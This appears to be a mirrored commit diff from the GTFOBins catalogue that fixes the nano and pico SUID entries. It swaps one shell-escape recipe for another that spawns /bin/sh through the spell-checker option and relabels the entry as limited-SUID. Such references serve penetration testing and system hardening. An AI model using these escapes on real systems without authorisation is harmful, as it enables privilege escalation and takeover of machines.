mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2025-08-23 09:34:56 +02:00
Fix wrong nano and pico SUID
This commit is contained in:
@@ -17,12 +17,12 @@ functions:
|
|||||||
^O
|
^O
|
||||||
file-read:
|
file-read:
|
||||||
- code: nano file_to_read
|
- code: nano file_to_read
|
||||||
suid:
|
limited-suid:
|
||||||
- description: The `SPELL` environment variable can be used in place of the `-s` option if the command line cannot be changed.
|
- description: The `SPELL` environment variable can be used in place of the `-s` option if the command line cannot be changed.
|
||||||
code: |
|
code: |
|
||||||
./nano
|
./nano -s /bin/sh
|
||||||
^R^X
|
/bin/sh
|
||||||
reset; sh 1>&0 2>&0
|
^T
|
||||||
sudo:
|
sudo:
|
||||||
- code: |
|
- code: |
|
||||||
sudo nano
|
sudo nano
|
||||||
|
@@ -17,12 +17,12 @@ functions:
|
|||||||
^O
|
^O
|
||||||
file-read:
|
file-read:
|
||||||
- code: pico file_to_read
|
- code: pico file_to_read
|
||||||
suid:
|
limited-suid:
|
||||||
- description: The `SPELL` environment variable can be used in place of the `-s` option if the command line cannot be changed.
|
- description: The `SPELL` environment variable can be used in place of the `-s` option if the command line cannot be changed.
|
||||||
code: |
|
code: |
|
||||||
./pico
|
./pico -s /bin/sh
|
||||||
^R^X
|
/bin/sh
|
||||||
reset; sh 1>&0 2>&0
|
^T
|
||||||
sudo:
|
sudo:
|
||||||
- code: |
|
- code: |
|
||||||
sudo pico
|
sudo pico
|
||||||
|
Reference in New Issue
Block a user